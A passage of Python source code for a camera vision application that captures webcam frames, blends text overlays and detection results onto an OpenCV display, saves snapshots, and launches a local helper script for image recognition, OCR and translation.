qFunc.logOutput('vision_out: detect2 overlay error!') baseY = 90 baseX = int(dspWidth * 0.05) # disptext6 alpha blending if (not disptext6_img is None) \ and ((time.time() - disptext6_time) <= 15): wrkHeight, wrkWidth = disptext6_img.shape[:2] while ((baseX + wrkWidth) >= dspWidth): disptext1_img = cv2.resize(disptext1_img,(int(wrkWidth*0.7), wrkHeight)) wrkHeight, wrkWidth = disptext1_img.shape[:2] if ((baseY+wrkHeight) < dspHeight): try: src_img=display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] alpha_img= cv2.addWeighted(src_img, 0.4, disptext6_img, 0.6, 0.0) display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = alpha_img baseY = baseY+wrkHeight + 20 except: qFunc.logOutput('vision_out: disptext6 alpha blending error!') # disptext5 alpha blending if (not disptext5_img is None) \ and ((time.time() - disptext5_time) <= 15): wrkHeight, wrkWidth = disptext5_img.shape[:2] while ((baseX + wrkWidth) >= dspWidth): disptext1_img = cv2.resize(disptext1_img,(int(wrkWidth*0.7), wrkHeight)) wrkHeight, wrkWidth = disptext1_img.shape[:2] if ((baseY+wrkHeight) < dspHeight): try: src_img=display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] alpha_img= cv2.addWeighted(src_img, 0.4, disptext5_img, 0.6, 0.0) display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = alpha_img baseY = baseY+wrkHeight + 20 except: qFunc.logOutput('vision_out: disptext5 alpha blending error!') # disptext4 alpha blending if (not disptext4_img is None) \ and ((time.time() - disptext4_time) <= 15): wrkHeight, wrkWidth = disptext4_img.shape[:2] while ((baseX + wrkWidth) >= dspWidth): disptext1_img = cv2.resize(disptext1_img,(int(wrkWidth*0.7), wrkHeight)) wrkHeight, wrkWidth = disptext1_img.shape[:2] if ((baseY+wrkHeight) < dspHeight): try: src_img=display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] alpha_img= cv2.addWeighted(src_img, 0.4, disptext4_img, 0.6, 0.0) display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = alpha_img baseY = baseY+wrkHeight + 20 except: qFunc.logOutput('vision_out: disptext4 alpha blending error!') # disptext3 alpha blending if (not disptext3_img is None) \ and ((time.time() - disptext3_time) <= 15): wrkHeight, wrkWidth = disptext3_img.shape[:2] while ((baseX + wrkWidth) >= dspWidth): disptext1_img = cv2.resize(disptext1_img,(int(wrkWidth*0.7), wrkHeight)) wrkHeight, wrkWidth = disptext1_img.shape[:2] if ((baseY+wrkHeight) < dspHeight): try: src_img=display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] alpha_img= cv2.addWeighted(src_img, 0.4, disptext3_img, 0.6, 0.0) display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = alpha_img baseY = baseY+wrkHeight + 20 except: qFunc.logOutput('vision_out: disptext3 alpha blending error!') # disptext2 alpha blending if (not disptext2_img is None) \ and ((time.time() - disptext2_time) <= 15): wrkHeight, wrkWidth = disptext2_img.shape[:2] while ((baseX + wrkWidth) >= dspWidth): disptext1_img = cv2.resize(disptext1_img,(int(wrkWidth*0.7), wrkHeight)) wrkHeight, wrkWidth = disptext1_img.shape[:2] if ((baseY+wrkHeight) < dspHeight): try: src_img=display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] alpha_img= cv2.addWeighted(src_img, 0.4, disptext2_img, 0.6, 0.0) display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = alpha_img baseY = baseY+wrkHeight + 20 except: qFunc.logOutput('vision_out: disptext2 alpha blending error!') # disptext1 alpha blending if (not disptext1_img is None) \ and ((time.time() - disptext1_time) <= 15): wrkHeight, wrkWidth = disptext1_img.shape[:2] while ((baseX + wrkWidth) >= dspWidth): disptext1_img = cv2.resize(disptext1_img,(int(wrkWidth*0.7), wrkHeight)) wrkHeight, wrkWidth = disptext1_img.shape[:2] if ((baseY+wrkHeight) < dspHeight): try: src_img=display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] alpha_img= cv2.addWeighted(src_img, 0.4, disptext1_img, 0.6, 0.0) display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = alpha_img baseY = baseY+wrkHeight + 20 except: qFunc.logOutput('vision_out: disptext1 alpha blending error!') baseY = dspHeight - 80 baseX = dspWidth - 60 # status alpha blending if (not status_img is None) \ and ((time.time() - status_time) <= 60): wrkHeight, wrkWidth = status_img.shape[:2] baseY -= wrkHeight baseX -= wrkWidth if ((baseY+wrkHeight) < dspHeight): try: src_img=display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] alpha_img= cv2.addWeighted(src_img, 0.4, status_img, 0.6, 0.0) display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = alpha_img baseY = baseY - 20 except: qFunc.logOutput('vision_out: status alpha blending error!') baseY = 90 baseX = int(dspWidth * 0.58) # visionOCR alpha blending if (not visionOCR_img is None) \ and ((time.time() - visionOCR_time) <= 15): wrkHeight, wrkWidth = visionOCR_img.shape[:2] if ((baseY+wrkHeight) < dspHeight): try: src_img=display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] alpha_img= cv2.addWeighted(src_img, 0.4, visionOCR_img, 0.6, 0.0) display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = alpha_img baseY = baseY+wrkHeight + 20 except: qFunc.logOutput('vision_out: visionOCR alpha blending error!') # visionTrn alpha blending if (not visionTrn_img is None) \ and ((time.time() - visionTrn_time) <= 30): wrkHeight, wrkWidth = visionTrn_img.shape[:2] if ((baseY+wrkHeight) < dspHeight): try: src_img=display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] alpha_img= cv2.addWeighted(src_img, 0.4, visionTrn_img, 0.6, 0.0) display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = alpha_img baseY = baseY+wrkHeight + 20 except: qFunc.logOutput('vision_out: visionTrn alpha blending error!') # visionCV alpha blending if (not visionCV_img is None) \ and ((time.time() - visionCV_time) <= 40): wrkHeight, wrkWidth = visionCV_img.shape[:2] if ((baseY+wrkHeight) < dspHeight): try: src_img=display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] alpha_img= cv2.addWeighted(src_img, 0.4, visionCV_img, 0.6, 0.0) display_img[baseY:baseY+wrkHeight, baseX:baseX+wrkWidth] = alpha_img baseY = baseY+wrkHeight + 20 except: qFunc.logOutput('vision_out: visionCV alpha blending error!') if (display_img is None): cn_s.put(['OK', '']) else: cn_s.put(['DISPLAY', display_img.copy()]) output_busy = False if (cn_r.qsize() == 0): time.sleep(0.05) else: time.sleep(0.01) qFunc.logOutput('video_out_:terminate') while (cn_r.qsize() > 0): try: cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() except: pass qFunc.logOutput('video_out_:end') DisplayEvent = None MousePointX = None MousePointY = None def DisplayMouseEvent(event, x, y, flags, param): global DisplayEvent, MousePointX, MousePointY if (event == cv2.EVENT_LBUTTONUP): DisplayEvent = cv2.EVENT_LBUTTONUP MousePointX = x MousePointY = y #qFunc.logOutput('EVENT_LBUTTONUP') elif (event == cv2.EVENT_RBUTTONDOWN): DisplayEvent = cv2.EVENT_RBUTTONDOWN MousePointX = x MousePointY = y #qFunc.logOutput('EVENT_RBUTTONDOWN') def main_cv(seq, fileId, runMode, cam1Dev, inpFile, sync=False): if (True): inpCV = inpFile tmpCV = qPath_work + 'temp_cv.' + seq + '.jpg' outCV = qPath_v_cv + fileId + '.cv.' + qLangCV + '.txt' inpOCR = inpFile tmpOCR = qPath_work + 'temp_ocr.' + seq + '.jpg' outOCR = qPath_v_cv + fileId + '.ocr.' + qLangOCR + '.txt' outTrn = qPath_v_cv + fileId + '.ocr.' + qLangTrn + '.txt' if (True): #res = api_vision.execute(sync, # runMode, cam1Dev, # qApiCV, qApiOCR, qApiTrn, qLangCV, qLangOCR, qLangTrn, # str(seq), fileId, inpCV, tmpCV, outCV, inpOCR, tmpOCR, outOCR, outTrn, # ) api = subprocess.Popen(['python', '_v5_api_vision.py', runMode, cam1Dev, qApiCV, qApiOCR, qApiTrn, qLangCV, qLangOCR, qLangTrn, str(seq), fileId, inpCV, tmpCV, outCV, inpOCR, tmpOCR, outOCR, outTrn, ],) if (sync == True): api.wait() api.terminate() api = None def main_init(runMode, cam1Dev, ): qFunc.makeDirs('temp/_log/', False) if (cam1Dev.isdigit()): qFunc.makeDirs(qPath_v_detect, True ) qFunc.makeDirs(qPath_v_photo, True ) qFunc.makeDirs(qPath_v_cv, True ) qFunc.makeDirs(qPath_rec, False) qFunc.makeDirs(qPath_work, True ) else: qFunc.makeDirs(qPath_v_detect, True ) qFunc.makeDirs(qPath_v_photo, True ) qFunc.makeDirs(qPath_v_cv, True ) qFunc.makeDirs(qPath_rec, True ) qFunc.makeDirs(qPath_work, True ) main_start = 0 main_beat = 0 main_busy = False main_last = 0 main_seq = 0 if (__name__ == '__main__'): # ๅ…ฑ้€šใ‚ฏใƒฉใ‚น qFunc.init() # ใƒญใ‚ฐ่จญๅฎš qNowTime = datetime.datetime.now() qLogFile = qPath_log + qNowTime.strftime('%Y%m%d.%H%M%S') + '.' + os.path.basename(__file__) + '.log' qFunc.logFileSet(file=qLogFile, display=True, outfile=True, ) qFunc.logOutput(qLogFile, ) qFunc.logOutput('') qFunc.logOutput('video_main:init') qFunc.logOutput('video_main:exsample.py runMode, cam... ') #runMode debug, #cam1Dev num or file runMode = 'live' cam1Dev = '9' cam1Rote = '0' cam1Mode = 'full' #cam1Mode = '1280x720' cam1Zoom = '1.0' chk = False while (chk == False) and (cam1Dev > '0'): try: dev = cv2.VideoCapture(int(cam1Dev)) ret, frame = dev.read() if ret == True: dev.release() chk = True else: cam1Dev = str(int(cam1Dev)-1) except: cam1Dev = str(int(cam1Dev)-1) if (cam1Dev == '0'): cam1Mode = 'vga' if (cam1Dev > '0'): cam2Dev = '0' cam2Rote = '0' cam2Mode = 'vga' cam2Zoom = '1.0' else: cam2Dev = 'none' cam2Rote = '0' cam2Mode = 'vga' cam2Zoom = '1.0' # 20190303 Demo mode #cam2Dev = 'none' #cam2Rote = '0' #cam2Mode = 'vga' #cam2Zoom = '1.0' dspMode = 'half' if (os.name == 'nt'): dspMode = 'full+' codeRead = 'qr' casName1 = 'face' casName2 = 'cars' autoShot = '0' if (len(sys.argv) >= 2): runMode = str(sys.argv[1]).lower() autoShot = '0' if (runMode=='debug'): autoShot = '60' elif (runMode=='knowledge'): autoShot = '10' cam2Dev = 'none' if (len(sys.argv) >= 3): cam1Dev = str(sys.argv[2]) if (len(sys.argv) >= 4): cam1Rote = str(sys.argv[3]).lower() if (len(sys.argv) >= 5): val = str(sys.argv[4]).lower() if (val != 'default') and (val != 'auto'): cam1Mode = val if (len(sys.argv) >= 6): cam1Zoom = str(sys.argv[5]).lower() if (len(sys.argv) >= 7): cam2Dev = str(sys.argv[6]) if (len(sys.argv) >= 8): cam2Rote = str(sys.argv[7]).lower() if (len(sys.argv) >= 9): val = str(sys.argv[8]).lower() if (val != 'default') and (val != 'auto'): cam2Mode = val if (len(sys.argv) >= 10): cam2Zoom = str(sys.argv[9]).lower() if (len(sys.argv) >= 11): val = str(sys.argv[10]).lower() if (val != 'default') and (val != 'auto'): dspMode = val if (len(sys.argv) >= 12): codeRead = str(sys.argv[11]) if (len(sys.argv) >= 13): casName1 = str(sys.argv[12]) if (len(sys.argv) >= 14): casname2 = str(sys.argv[13]) if (len(sys.argv) >= 15): qApiCV = str(sys.argv[14]).lower() qApiOCR = qApiCV qApiTrn = qApiCV if (len(sys.argv) >= 16): qApiOCR = str(sys.argv[15]).lower() if (len(sys.argv) >= 17): qApiTrn = str(sys.argv[16]).lower() if (len(sys.argv) >= 18): qLangCV = str(sys.argv[17]).lower() qLangOCR = qLangCV if (len(sys.argv) >= 19): qLangOCR = str(sys.argv[18]).lower() if (len(sys.argv) >= 20): qLangTrn = str(sys.argv[19]).lower() if (len(sys.argv) >= 21): autoShot = str(sys.argv[20]).lower() if (casName1 != 'none'): if (casName1 == 'cars'): casName1 = '_xml/_vision_opencv_cars.xml' if (casName1 == 'face'): casName1 = '_xml/_vision_opencv_face.xml' if (casName1 == 'fullbody'): casName1 = '_xml/_vision_opencv_fullbody.xml' if (casName2 != 'none'): if (casName2 == 'cars'): casName2 = '_xml/_vision_opencv_cars.xml' if (casName2 == 'face'): casName2 = '_xml/_vision_opencv_face.xml' if (casName2 == 'fullbody'): casName2 = '_xml/_vision_opencv_fullbody.xml' qFunc.logOutput('') qFunc.logOutput('video_main:runMode =' + str(runMode )) qFunc.logOutput('video_main:cam1Dev =' + str(cam1Dev )) qFunc.logOutput('video_main:cam1Rote =' + str(cam1Rote )) qFunc.logOutput('video_main:cam1Mode =' + str(cam1Mode )) qFunc.logOutput('video_main:cam1Zoom =' + str(cam1Zoom )) qFunc.logOutput('video_main:cam2Dev =' + str(cam2Dev )) qFunc.logOutput('video_main:cam2Rote =' + str(cam2Rote )) qFunc.logOutput('video_main:cam2Mode =' + str(cam2Mode )) qFunc.logOutput('video_main:cam2Zoom =' + str(cam2Zoom )) qFunc.logOutput('video_main:dspMode =' + str(dspMode )) qFunc.logOutput('video_main:codeRead =' + str(codeRead )) qFunc.logOutput('video_main:casName1 =' + str(casName1 )) qFunc.logOutput('video_main:casName2 =' + str(casName2 )) qFunc.logOutput('video_main:qApiCV =' + str(qApiCV )) qFunc.logOutput('video_main:qApiOCR =' + str(qApiOCR )) qFunc.logOutput('video_main:qApiTrn =' + str(qApiTrn )) qFunc.logOutput('video_main:qLangCV =' + str(qLangCV )) qFunc.logOutput('video_main:qLangOCR =' + str(qLangOCR )) qFunc.logOutput('video_main:qLangTrn =' + str(qLangTrn )) qFunc.logOutput('video_main:autoShot =' + str(autoShot )) main_init(runMode, cam1Dev, ) qFunc.logOutput('') qFunc.logOutput('video_main:start') main_start = time.time() main_beat = 0 window_onece = True wrkText = u'็”ปๅƒๅˆถๅพกๆฉŸ่ƒฝใŒ่ตทๅ‹•ใ—ใพใ—ใŸใ€‚' qFunc.tts('vision.00', wrkText, ) shutter_flag = False shutter_last = time.time() inp1_s = queue.Queue() inp1_r = queue.Queue() inp1_proc = None inp1_beat = 0 inp1_pass = 0 inp2_s = queue.Queue() inp2_r = queue.Queue() inp2_proc = None inp2_beat = 0 inp2_pass = 0 reader_s = queue.Queue() reader_r = queue.Queue() reader_proc = None reader_beat = 0 reader_pass = 0 compute_s = queue.Queue() compute_r = queue.Queue() compute_proc = None compute_beat = 0 compute_pass = 0 speech_s = queue.Queue() speech_r = queue.Queue() speech_proc = None speech_beat = 0 speech_pass = 0 output_s = queue.Queue() output_r = queue.Queue() output_proc = None output_beat = 0 output_pass = 0 while (True): main_beat = time.time() # Thread timeout check if (inp1_beat != 0): if (cam1Dev.isdigit()): sec = (time.time() - inp1_beat) if (sec > 60): qFunc.logOutput('video_main:inp1_proc 60s') qFunc.logOutput('video_main:inp1_proc break') inp1_s.put([None, None]) time.sleep(3.00) inp1_proc = None inp1_beat = 0 inp1_pass = 0 if (inp2_beat != 0): if (cam2Dev.isdigit()): sec = (time.time() - inp2_beat) if (sec > 60): qFunc.logOutput('video_main:inp2_proc 60s') qFunc.logOutput('video_main:inp2_proc break') inp2_s.put([None, None]) time.sleep(3.00) inp2_proc = None inp2_beat = 0 inp2_pass = 0 if (reader_beat != 0): sec = (time.time() - reader_beat) if (sec > 60): qFunc.logOutput('video_main:reader_proc 60s') qFunc.logOutput('video_main:reader_proc break') reader_s.put([None, None]) time.sleep(3.00) reader_proc = None reader_beat = 0 reader_pass = 0 if (compute_beat != 0): sec = (time.time() - compute_beat) if (sec > 60): qFunc.logOutput('video_main:compute_proc 60s') qFunc.logOutput('video_main:compute_proc break') compute_s.put([None, None]) time.sleep(3.00) compute_proc = None compute_beat = 0 compute_pass = 0 if (speech_beat != 0): sec = (time.time() - speech_beat) if (sec > 60): qFunc.logOutput('video_main:speech_proc 60s') qFunc.logOutput('video_main:speech_proc break') speech_s.put([None, None]) time.sleep(3.00) speech_proc = None speech_beat = 0 speech_pass = 0 if (output_beat != 0): if (cam1Dev.isdigit()): sec = (time.time() - output_beat) if (sec > 60): qFunc.logOutput('video_main:output_proc 60s') qFunc.logOutput('video_main:output_proc break') output_s.put([None, None]) time.sleep(3.00) output_proc = None output_beat = 0 output_pass = 0 # Thread start if (inp1_proc is None) and (cam1Dev != 'none'): while (inp1_s.qsize() > 0): dummy = inp1_s.get() while (inp1_r.qsize() > 0): dummy = inp1_r.get() inp1_proc = threading.Thread(target=proc_inp1, args=(inp1_s,inp1_r,)) inp1_proc.setDaemon(True) inp1_s.put(runMode ) inp1_s.put(cam1Dev ) inp1_s.put(cam1Rote ) inp1_s.put(cam1Mode ) inp1_s.put(cam1Zoom ) inp1_proc.start() time.sleep(1.00) inp1_s.put(['START', '']) if (inp2_proc is None) and (cam2Dev != 'None'): while (inp2_s.qsize() > 0): dummy = inp2_s.get() while (inp2_r.qsize() > 0): dummy = inp2_r.get() inp2_proc = threading.Thread(target=proc_inp2, args=(inp2_s,inp2_r,)) inp2_proc.setDaemon(True) inp2_s.put(runMode ) inp2_s.put(cam2Dev ) inp2_s.put(cam2Rote ) inp2_s.put(cam2Mode ) inp2_s.put(cam2Zoom ) inp2_proc.start() time.sleep(1.00) inp2_s.put(['START', '']) if (reader_proc is None): while (reader_s.qsize() > 0): dummy = reader_s.get() while (reader_r.qsize() > 0): dummy = reader_r.get() reader_proc = threading.Thread(target=proc_reader, args=(reader_s,reader_r,)) reader_proc.setDaemon(True) reader_s.put(runMode ) reader_s.put(cam1Dev ) reader_s.put(codeRead) reader_proc.start() time.sleep(1.00) compute_s.put(['START', '']) if (compute_proc is None): while (compute_s.qsize() > 0): dummy = compute_s.get() while (compute_r.qsize() > 0): dummy = compute_r.get() compute_proc = threading.Thread(target=proc_compute, args=(compute_s,compute_r,)) compute_proc.setDaemon(True) compute_s.put(runMode ) compute_s.put(cam1Dev ) compute_s.put(casName1) compute_s.put(casName2) compute_proc.start() time.sleep(1.00) compute_s.put(['START', '']) if (speech_proc is None): while (speech_s.qsize() > 0): dummy = speech_s.get() while (speech_r.qsize() > 0): dummy = speech_r.get() speech_proc = threading.Thread(target=proc_speech, args=(speech_s,speech_r,)) speech_proc.setDaemon(True) speech_s.put(runMode ) speech_s.put(cam1Dev ) speech_s.put(dspMode ) speech_proc.start() time.sleep(1.00) speech_s.put(['START', '']) if (output_proc is None): while (output_s.qsize() > 0): dummy = output_s.get() while (output_r.qsize() > 0): dummy = output_r.get() output_proc = threading.Thread(target=proc_output, args=(output_s,output_r,)) output_proc.setDaemon(True) output_s.put(runMode ) output_s.put(cam1Dev ) output_s.put(cam1Rote ) output_s.put(dspMode ) output_proc.start() time.sleep(1.00) output_s.put(['START', '']) # processing if (int(autoShot) > 0): sec = (time.time() - shutter_last) if (sec > int(autoShot)): shutter_flag = True sec = (time.time() - main_start) if (sec > 600): autoShot = 3600 if (inp1_r.qsize() == 0 and inp1_s.qsize() == 0): inp1_s.put(['PROC', '']) inp1_pass += 1 else: inp1_pass = 0 if (inp1_pass > 50): inp1_s.put(['PASS', '']) inp1_pass = 0 break_flag = False while (inp1_r.qsize() > 0): inp1_get = inp1_r.get() inp1_res = inp1_get[0] inp1_dat = inp1_get[1] inp1_r.task_done() if (inp1_res == 'IMAGE'): inp1_img = inp1_dat.copy() if (reader_s.qsize() == 0): reader_s.put(['INPUT', inp1_img.copy()]) if (compute_s.qsize() == 0): compute_s.put(['INPUT', inp1_img.copy()]) if (output_s.qsize() == 0): output_s.put(['INPUT', inp1_img.copy()]) if (inp1_res == 'END'): break_flag = True if (inp1_res == 'ERROR'): break_flag = True if (break_flag == True): break if (inp2_r.qsize() == 0 and inp2_s.qsize() == 0): inp2_s.put(['PROC', '']) inp2_pass += 1 else: inp2_pass = 0 if (inp2_pass > 50): inp2_s.put(['PASS', '']) inp2_pass = 0 while (inp2_r.qsize() > 0): inp2_get = inp2_r.get() inp2_res = inp2_get[0] inp2_dat = inp2_get[1] inp2_r.task_done() if (inp2_res == 'IMAGE'): inp2_img = inp2_dat.copy() if (output_s.qsize() == 0): output_s.put(['INPUT2', inp2_img.copy()]) if (reader_r.qsize() == 0 and reader_s.qsize() == 0): reader_s.put(['PROC', '']) reader_pass += 1 else: reader_pass = 0 if (reader_pass > 50): reader_s.put(['PASS', '']) reader_pass = 0 while (reader_r.qsize() > 0): reader_get = reader_r.get() reader_res = reader_get[0] reader_dat = reader_get[1] reader_r.task_done() if (reader_res == 'READER'): output_s.put([ 'READER' , reader_dat.copy()]) if (compute_r.qsize() == 0 and compute_s.qsize() == 0): compute_s.put(['PROC', '']) compute_pass += 1 else: compute_pass = 0 if (compute_pass > 50): compute_s.put(['PASS', '']) compute_pass = 0 while (compute_r.qsize() > 0): compute_get = compute_r.get() compute_res = compute_get[0] compute_dat = compute_get[1] compute_r.task_done() if (compute_res == 'DETECT1'): output_s.put([ 'DETECT1', compute_dat.copy()]) if (compute_res == 'DETECT2'): output_s.put([ 'DETECT2', compute_dat.copy()]) if (compute_res == 'DETECT'): output_s.put([ 'DETECT' , compute_dat.copy()]) if (speech_r.qsize() == 0 and speech_s.qsize() == 0): speech_s.put(['PROC', '']) speech_pass += 1 else: speech_pass = 0 if (speech_pass > 50): speech_s.put(['PASS', '']) speech_pass = 0 break_flag = False while (speech_r.qsize() > 0): speech_get = speech_r.get() speech_res = speech_get[0] speech_dat = speech_get[1] speech_r.task_done() if (speech_res == 'END'): break_flag = True if (speech_res == 'ERROR'): break_flag = True if (speech_res == '_shutter_'): shutter_flag = True if (speech_res == 'ZOOMIN'): cam1Zoom = '{:.1f}'.format(float(cam1Zoom) + 0.5) inp1_s.put(['ZOOM', cam1Zoom]) #cam2Zoom = '{:.1f}'.format(float(cam2Zoom) + 0.5) #inp2_s.put(['ZOOM', cam2Zoom]) if (speech_res == 'ZOOMOUT'): cam1Zoom = '1.0' inp1_s.put(['ZOOM', cam1Zoom]) cam2Zoom = '1.0' inp2_s.put(['ZOOM', cam2Zoom]) if (speech_res == '_status_'): output_s.put(['_status_', speech_dat.copy()]) if (speech_res == 'CV'): output_s.put(['CV', speech_dat.copy()]) if (speech_res == 'OCR'): output_s.put(['OCR', speech_dat.copy()]) if (speech_res == 'TRN'): output_s.put(['TRN', speech_dat.copy()]) if (speech_res == 'RECOGNIZE'): output_s.put(['RECOGNIZE', speech_dat.copy()]) if (speech_res == 'TRANSLATE'): output_s.put(['TRANSLATE', speech_dat.copy()]) if (break_flag == True): break if (output_r.qsize() == 0 and output_s.qsize() == 0): output_s.put(['PROC', '']) output_pass += 1 else: output_pass = 0 if (output_pass > 50): output_s.put(['PASS', '']) output_pass = 0 while (output_r.qsize() > 0): output_get = output_r.get() output_res = output_get[0] output_dat = output_get[1] output_r.task_done() if (output_res == 'DISPLAY'): display_img = output_dat.copy() dspHeight, dspWidth = display_img.shape[:2] # display_img #cv2.putText(display_img, 'CANCEL', (40,dspHeight-100), cv2.FONT_HERSHEY_COMPLEX, 2, (0,0,255)) #cv2.rectangle(display_img,(35,dspHeight-95),(300,dspHeight-150),(0,0,255),2) #cv2.putText(display_img, 'ENTER', (dspWidth-300,dspHeight-100), cv2.FONT_HERSHEY_COMPLEX, 2, (255,255,255)) #cv2.rectangle(display_img,(dspWidth-305,dspHeight-95),(dspWidth-75,dspHeight-150),(255,255,255),2) # display if (window_onece == True): cv2.namedWindow('Display', 1) if (window_onece == True): if (dspMode=='full+'): cv2.moveWindow( 'Display', -20, -40) else: cv2.moveWindow( 'Display', 0, 0) cv2.imshow('Display', display_img ) cv2.setMouseCallback('Display', DisplayMouseEvent) window_onece = False # KEYPRESS if (cv2.waitKey(10) >= 0): qFunc.logOutput('video_main:KEYPRESS!') break # R-CLICK if (DisplayEvent == cv2.EVENT_RBUTTONDOWN): DisplayEvent = None qFunc.logOutput('video_main:R-CLICK!') #break # L-CLICK if (DisplayEvent == cv2.EVENT_LBUTTONUP): DisplayEvent = None # ENTER,CANCEL if ((not MousePointX is None) and (not MousePointY is None)): if (MousePointY <= dspHeight-150): shutter_flag = True qFunc.logOutput('video_main:L-CLICK!') #break else: if (MousePointX >= 0) and (MousePointX <= 350): qFunc.logOutput('video_main:CANCEL!') break elif (MousePointX >= dspWidth - 350) and (MousePointX <= dspWidth): qFunc.logOutput('video_main:ENTER!') break else: shutter_flag = True qFunc.logOutput('video_main:L-CLICK!') #break # shutter_ if (shutter_flag == True): shutter_flag = False shutter_last = time.time() # ใ‚ทใƒฃใƒƒใ‚ฟใƒผ้Ÿณ qFunc.guideSound('_shutter', sync=False) ## ็™ฝ่กจ็คบ white_img = np.zeros((dspHeight,dspWidth,3), np.uint8) cv2.rectangle(white_img,(0,0),(dspWidth,dspHeight),(255,255,255),-1) alpha_img= cv2.addWeighted(display_img, 0.5, white_img, 0.5, 0.0) cv2.imshow('Display', alpha_img ) if cv2.waitKey(10) >= 0: qFunc.logOutput('video_main:KEYPRESS!') break # ไฟ็ฎก main_seq += 1 if (main_seq >= 10000): main_seq = 1 seq4 = '{:04}'.format(main_seq) seq2 = seq4[-2:] now=datetime.datetime.now() stamp=now.strftime('%Y%m%d.%H%M%S') fileId = stamp + '.' + seq2 filename1=qPath_rec + fileId + '.photo.jpg' filename2=qPath_v_photo + fileId + '.photo.jpg' qFunc.logOutput(u'video_main: โ†’ ' + filename2) try: cv2.imwrite(filename1, inp1_img) cv2.imwrite(filename2, inp1_img) except: pass filename3=qPath_rec + fileId + '.screen.jpg' filename4=qPath_v_photo + fileId + '.screen.jpg' try: cv2.imwrite(filename3, display_img) cv2.imwrite(filename4, display_img) except: pass # ๏ผฃ๏ผถ if (qApiCV != 'none') or (qApiOCR != 'none'): main_cv(seq2, fileId, runMode, cam1Dev, filename1,) time.sleep(0.01) qFunc.logOutput('') qFunc.logOutput('video_main:terminate') try: cv2.destroyAllWindows except: pass try: inp1_s.put( [None, None] ) inp2_s.put( [None, None] ) compute_s.put( [None, None] ) speech_s.put( [None, None] ) output_s.put( [None, None] ) time.sleep(3.00) except: pass try: inp1_proc.join() inp2_proc.join() compute_proc.join() speech_proc.join() output_proc.join() except: pass wrkText = u'็”ปๅƒๅˆถๅพกๆฉŸ่ƒฝใ‚’็ต‚ไบ†ใ—ใพใ—ใŸใ€‚' qFunc.tts('vision.99', wrkText, ) qFunc.logOutput('video_main:bye!')